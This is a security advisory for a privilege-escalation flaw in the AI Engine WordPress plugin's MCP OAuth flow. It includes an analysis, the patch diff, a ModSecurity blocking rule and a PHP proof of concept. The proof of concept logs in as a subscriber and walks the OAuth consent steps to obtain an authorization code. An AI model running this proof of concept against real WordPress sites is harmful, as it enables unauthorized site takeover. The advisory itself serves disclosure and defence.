Published : May 16, 2026

CVE-2026-8719: AI Engine 3.4.9 – Authenticated (Subscriber+) Privilege Escalation via Missing Authorization in MCP OAuth Bearer Token (ai-engine)

CVE ID CVE-2026-8719
Plugin ai-engine
Severity High (CVSS 8.8)
CWE 269
Vulnerable Version 3.4.9
Patched Version 3.5.0
Disclosed May 15, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-8719: This vulnerability allows an authenticated attacker with Subscriber-level access to escalate their privileges to Administrator within the AI Engine plugin for WordPress (versions up to 3.4.9). The issue is a missing capability check during the MCP (Model Context Protocol) OAuth token authorization flow, specifically in the labs/mcp-oauth.php component.

The root cause is the absence of WordPress capability enforcement (e.g., user_can() / current_user_can()) before processing OAuth authorization codes and issuing bearer tokens. In the vulnerable version 3.4.9, functions handle_authorization_request() and handle_authorization_submit() at line 384 and line 394 in labs/mcp-oauth.php proceed to render consent pages and exchange authorization codes for tokens without verifying the current user possesses ‘administrator’ privileges. The code path allows any authenticated user (Subscriber+) to complete the OAuth flow.

Exploitation requires an authenticated WordPress Subscriber session. The attacker initiates the OAuth authorization flow against the MCP endpoint, typically accessed via a REST route registered in classes/rest.php (line 352+). By crafting a GET request to the authorization endpoint with a valid client_id, redirect_uri, and response_type=code, the attacker triggers handle_authorization_request(). Because the vulnerable code lacks a user_can() check, the consent page is rendered. Submitting the consent form (handle_authorization_submit) exchanges the authorization code for an access token. The attacker now holds a valid OAuth bearer token. This token is sent to the MCP tool execution endpoint (labs/mcp.php line 204+), where validate_token() returns token_data without verifying the user’s capabilities. The plugin sets the current user via wp_set_current_user() using the token’s user_id, allowing the Subscriber to invoke admin-level MCP tools.

The patch introduces a capability gate via a new method user_can_authorize() in labs/mcp-oauth.php (line 632). This method checks whether the user has ‘administrator’ capability. The gate is applied in three critical locations: (1) handle_authorization_request() at line 383, (2) handle_authorization_submit() at line 394, and (3) in labs/mcp.php at line 204 inside the authentication handler where a token is validated—defense in depth ensures that even previously issued tokens are rejected if the linked user is no longer an administrator. Before the patch, any authenticated user could mint an OAuth token. After the patch, only administrators can authorize clients and use tokens. The filter mwai_mcp_oauth_user_can_authorize exists for future extensibility but defaults to administrator-only.

If exploited, an authenticated Subscriber attacker can escalate privileges to Administrator. They can execute any admin-level MCP tool, including the potential to create new WordPress admin users, modify site configurations, install plugins, or extract sensitive data. Complete WordPress site compromise is the direct impact.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/ai-engine/ai-engine.php
+++ b/ai-engine/ai-engine.php
@@ -4,7 +4,7 @@
 Plugin Name: AI Engine
 Plugin URI: https://wordpress.org/plugins/ai-engine/
 Description: AI meets WordPress. Your site can now chat, write poetry, solve problems, and maybe make you coffee.
-Version: 3.4.9
+Version: 3.5.0
 Author: Jordy Meow
 Author URI: https://jordymeow.com
 Text Domain: ai-engine
@@ -12,7 +12,7 @@
 License URI: https://www.gnu.org/licenses/gpl-2.0.html
 */

-define( 'MWAI_VERSION', '3.4.9' );
+define( 'MWAI_VERSION', '3.5.0' );
 define( 'MWAI_PREFIX', 'mwai' );
 define( 'MWAI_DOMAIN', 'ai-engine' );
 define( 'MWAI_ENTRY', __FILE__ );
--- a/ai-engine/classes/engines/chatml.php
+++ b/ai-engine/classes/engines/chatml.php
@@ -1528,6 +1528,7 @@
     return preg_replace( '/-d{4}-d{2}-d{2}$/', '', $model );
   }

+  // TODO: Remove every list_finetunes / cancel_finetune / delete_finetune / run_finetune method below after 2027-02 (OpenAI ends fine-tune job creation on 2027-01-06). The `finetunes` env keys in init.php and the `finetune` key on every entry in constants/models.php go with them.
   public function list_deleted_finetunes( $envId = null, $legacy = false ) {
     $finetunes = $this->list_finetunes( $legacy );
     $deleted = [];
@@ -2010,6 +2011,7 @@

   public function get_models() {
     $models = apply_filters( 'mwai_openai_models', MWAI_OPENAI_MODELS );
+    // TODO: Drop the fine-tune injection loop below after 2027-02 (OpenAI ends fine-tune job creation on 2027-01-06).
     $finetunes = !empty( $this->env['finetunes'] ) ? $this->env['finetunes'] : [];
     foreach ( $finetunes as $finetune ) {
       if ( empty( $finetune['status'] ) || $finetune['status'] !== 'succeeded' ) {
@@ -2062,6 +2064,7 @@
     }
   }

+  // TODO: After 2027-02 (OpenAI ends fine-tune job creation on 2027-01-06), drop the $finetune branch from calculate_price() and the finetune-detection block in get_price().
   private function calculate_price( $modelFamily, $inUnits, $outUnits, $resolution = null, $finetune = false ) {
     $modelFamily = self::get_model_without_release_date( $modelFamily );
     $models = $this->get_models();
--- a/ai-engine/classes/engines/core.php
+++ b/ai-engine/classes/engines/core.php
@@ -445,7 +445,7 @@

     // Check if the model is available, except if it's an assistant
     if ( !( $query instanceof Meow_MWAI_Query_Assistant ) ) {
-      // TODO: Avoid checking on the finetuned models for now.
+      // TODO: Remove the ft: bypass after 2027-02 (OpenAI ends fine-tune job creation on 2027-01-06). Until then we skip model validation for fine-tunes so user-created models still resolve.
       if ( substr( $query->model, 0, 3 ) === 'ft:' ) {
         return;
       }
--- a/ai-engine/classes/rest.php
+++ b/ai-engine/classes/rest.php
@@ -352,6 +352,7 @@
         'permission_callback' => [ $this->core, 'can_access_settings' ],
         'callback' => [ $this, 'rest_openai_files_download' ],
       ] );
+      // TODO: Remove all the /openai/finetunes/* and /openai/files/finetune routes after 2027-02 (OpenAI ends fine-tune job creation on 2027-01-06).
       register_rest_route( $this->namespace, '/openai/files/finetune', [
         'methods' => 'POST',
         'permission_callback' => [ $this->core, 'can_access_settings' ],
@@ -1183,6 +1184,7 @@
     }
   }

+  // TODO: Remove all the rest_openai_*finetune* handlers below after 2027-02 (OpenAI ends fine-tune job creation on 2027-01-06).
   public function rest_openai_deleted_finetunes_get() {
     try {
       $envId = isset( $_GET['envId'] ) ? $_GET['envId'] : null;
--- a/ai-engine/constants/init.php
+++ b/ai-engine/constants/init.php
@@ -125,6 +125,7 @@
   'module_moderation' => false,
   'module_statistics' => false,
   'statistics_retention_days' => 'Never',
+  // TODO: Remove module_finetunes after 2027-02 (OpenAI ends fine-tune job creation on 2027-01-06).
   'module_finetunes' => false,
   'module_embeddings' => false,
   'module_transcription' => false,
@@ -167,6 +168,7 @@
       'name' => 'OpenAI',
       'type' => 'openai',
       'apikey' => '',
+      // TODO: Drop the four finetunes* keys after 2027-02 (OpenAI ends fine-tune job creation on 2027-01-06).
       'finetunes' => [],
       'finetunes_deleted' => [],
       'legacy_finetunes' => [],
--- a/ai-engine/constants/models.php
+++ b/ai-engine/constants/models.php
@@ -2,6 +2,8 @@

 // Price as of June 2024: https://openai.com/api/pricing/

+// TODO: After 2027-02 (OpenAI ends fine-tune job creation on 2027-01-06), drop the `finetune` key from every model entry below and remove 'finetune' from every model's `tags` array.
+
 define( 'MWAI_OPENAI_MODELS', [
   /*
     GPT-5.5
@@ -137,6 +139,7 @@
     GPT-5.3 Chat
     GPT-5.3 model used in ChatGPT
     https://developers.openai.com/api/docs/models/gpt-5.3-chat-latest
+    Shutdown: August 10, 2026.
     */
   [
     'model' => 'gpt-5.3-chat-latest',
@@ -152,7 +155,7 @@
     'maxCompletionTokens' => 16384,
     'maxContextualTokens' => 128000,
     'finetune' => false,
-    'tags' => ['core', 'chat', 'vision', 'files', 'functions', 'json', 'responses', 'mcp'],
+    'tags' => ['core', 'chat', 'vision', 'files', 'functions', 'json', 'responses', 'mcp', 'deprecated'],
     'tools' => ['image_generation', 'code_interpreter']
   ],
   /*
@@ -185,6 +188,7 @@
     GPT-5.2 Chat
     GPT-5.2 model used in ChatGPT
     https://platform.openai.com/docs/models/gpt-5.2
+    Shutdown: August 10, 2026.
     */
   [
     'model' => 'gpt-5.2-chat-latest',
@@ -200,7 +204,7 @@
     'maxCompletionTokens' => 128000,
     'maxContextualTokens' => 400000,
     'finetune' => false,
-    'tags' => ['core', 'chat', 'vision', 'files', 'responses', 'mcp'],
+    'tags' => ['core', 'chat', 'vision', 'files', 'responses', 'mcp', 'deprecated'],
     'tools' => ['web_search', 'file_search', 'code_interpreter']
   ],
   /*
--- a/ai-engine/labs/mcp-oauth.php
+++ b/ai-engine/labs/mcp-oauth.php
@@ -17,12 +17,11 @@
  * like Claude Desktop that drive the user through a browser authorize flow.
  */
 class Meow_MWAI_Labs_MCP_OAuth {
-
-  const DB_VERSION = '1.0.0';
-  const ACCESS_TOKEN_TTL = 3600;       // 1 hour
-  const REFRESH_TOKEN_TTL = 2592000;   // 30 days
-  const AUTH_CODE_TTL = 60;            // seconds
-  const NONCE_ACTION = 'mwai_mcp_oauth_consent';
+  public const DB_VERSION = '1.0.0';
+  public const ACCESS_TOKEN_TTL = 3600;       // 1 hour
+  public const REFRESH_TOKEN_TTL = 2592000;   // 30 days
+  public const AUTH_CODE_TTL = 60;            // seconds
+  public const NONCE_ACTION = 'mwai_mcp_oauth_consent';

   private $core;
   private $mcp;
@@ -384,6 +383,17 @@
     }

     $user = wp_get_current_user();
+    // Capability gate. MCP grants administrative tool access by design; allowing a
+    // non-admin to mint an OAuth token would let them act through the MCP layer with
+    // privileges they do not hold in WordPress itself.
+    if ( !$this->user_can_authorize( $user->ID ) ) {
+      if ( $this->logging ) {
+        error_log( '[AI Engine MCP OAuth] ❌ Non-admin user ' . $user->ID . ' tried to authorize client ' . $params['client_id'] );
+      }
+      $this->render_error_page( 'Only administrators can authorize MCP applications on this site.' );
+      exit;
+    }
+
     $this->render_consent_page( $client, $params, $user );
     exit;
   }
@@ -394,6 +404,14 @@
       exit;
     }

+    if ( !$this->user_can_authorize( get_current_user_id() ) ) {
+      if ( $this->logging ) {
+        error_log( '[AI Engine MCP OAuth] ❌ Non-admin user ' . get_current_user_id() . ' attempted authorize submit' );
+      }
+      $this->render_error_page( 'Only administrators can authorize MCP applications on this site.' );
+      exit;
+    }
+
     $nonce = (string) $request->get_param( '_mwai_nonce' );
     if ( !wp_verify_nonce( $nonce, self::NONCE_ACTION ) ) {
       $this->render_error_page( 'Security check failed. Please try again from your application.' );
@@ -614,12 +632,29 @@
     $hash = hash( 'sha256', $token );
     $wpdb->query( $wpdb->prepare(
       "UPDATE {$this->table_tokens} SET revoked = 1 WHERE access_token_hash = %s OR refresh_token_hash = %s",
-      $hash, $hash
+      $hash,
+      $hash
     ) );
     return new WP_REST_Response( null, 200 );
   }
   #endregion

+  #region Capability gate
+  /**
+   * Whether a user is allowed to authorize an OAuth client and to use an OAuth
+   * access token against the MCP endpoint. Defaults to administrator only,
+   * matching the documented MCP access model. The filter exists so the planned
+   * multi-user MCP work can broaden this safely once per-token capability
+   * scoping lands; until then, allowing a non-admin here re-opens CVE-class
+   * privilege escalation through tools like wp_create_user.
+   */
+  public function user_can_authorize( $user_id ) {
+    $user_id = (int) $user_id;
+    $allowed = $user_id > 0 && user_can( $user_id, 'administrator' );
+    return (bool) apply_filters( 'mwai_mcp_oauth_user_can_authorize', $allowed, $user_id );
+  }
+  #endregion
+
   #region Token validation (called from MCP auth path)
   /**
    * Validate an access token for protected resource access.
--- a/ai-engine/labs/mcp.php
+++ b/ai-engine/labs/mcp.php
@@ -204,6 +204,16 @@
       if ( $this->oauth ) {
         $token_data = $this->oauth->validate_token( $token );
         if ( $token_data ) {
+          // Defense in depth: even if a token was issued (or stored from before
+          // the authorize-time admin gate landed), only accept it if the linked
+          // user still holds administrator capability. Otherwise a Subscriber's
+          // OAuth token would inherit the global mcp_role and reach admin tools.
+          if ( !$this->oauth->user_can_authorize( $token_data['user_id'] ) ) {
+            if ( $this->logging ) {
+              error_log( '[AI Engine MCP] ❌ OAuth token rejected: user ' . $token_data['user_id'] . ' is not an administrator.' );
+            }
+            return false;
+          }
           // Set current user based on OAuth token
           wp_set_current_user( $token_data['user_id'] );
           $auth_result = 'oauth';

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@contains /wp-json/mwai/v1/mcp/oauth/authorize" "id:20268719,phase:1,deny,status:403,chain,msg:'CVE-2026-8719 Exploit Attempt - Non-admin MCP OAuth Authorization',severity:'CRITICAL',tag:'CVE-2026-8719'"
SecRule ARGS:response_type "@streq code" "chain"
SecRule ARGS:client_id "@rx ^[a-zA-Z0-9_-]+$" "chain"
SecRule ARGS:redirect_uri "@rx ^https?://" ""

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-8719 - Authenticated (Subscriber+) Privilege Escalation via Missing Authorization in MCP OAuth Bearer Token

// CONFIGURATION
$target_url = 'http://example.com'; // Replace with the target WordPress site URL
$sub_user = 'subscriber_user';       // Replace with a valid subscriber username
$sub_pass = 'subscriber_password';   // Replace with the subscriber's password

// Step 1: Login as subscriber and get cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $sub_user,
    'pwd' => $sub_pass,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve20268719_cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce for AJAX if needed (not strictly required for OAuth REST endpoints)

// Step 2: Construct the OAuth authorization URL
// The exact MCP REST endpoint structure may vary; adjust if necessary.
// This assumes a generic OAuth authorization endpoint pattern.
$authorize_url = $target_url . '/wp-json/mwai/v1/mcp/oauth/authorize';

// Step 3: Send initial authorization request (GET) as the subscriber
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $authorize_url . '?response_type=code&client_id=test_client&redirect_uri=' . urlencode($target_url . '/callback') . '&state=test_state');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve20268719_cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check if the authorization page was rendered (expecting a form, not an error)
if (strpos($response, 'authorize') !== false || strpos($response, 'consent') !== false) {
    echo "[+] Authorization page rendered successfully. Vulnerability confirmed.n";
    echo "[+] Subscriber can proceed with consent submission to obtain a token.n";
} else {
    echo "[-] Authorization page not rendered, likely patched or endpoint not found.n";
    exit(1);
}

// Step 4: Simulate consent form submission (POST) to get the authorization code
// We need to extract the nonce from the rendered page. This is simplified.
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
preg_match('/name="_mwai_nonce" value="([^"]+)"/', $response, $matches);
$mwai_nonce = $matches[1] ?? '';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $authorize_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'client_id' => 'test_client',
    'redirect_uri' => $target_url . '/callback',
    'response_type' => 'code',
    'state' => 'test_state',
    '_mwai_nonce' => $mwai_nonce,
    '_wpnonce' => $nonce,
    'approve' => 'Yes'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve20268719_cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// If successful, the response should contain a redirect with the authorization code
if ($http_code == 302) {
    echo "[+] Consent submitted successfully. Check cookies for token.n";
    // In a full exploit, you would capture the code and exchange it for a token.
    // Then use the token to call admin-level MCP tools.
} else {
    echo "[-] Consent submission failed. HTTP code: $http_coden";
}

// Clean up
unlink('/tmp/cve20268719_cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School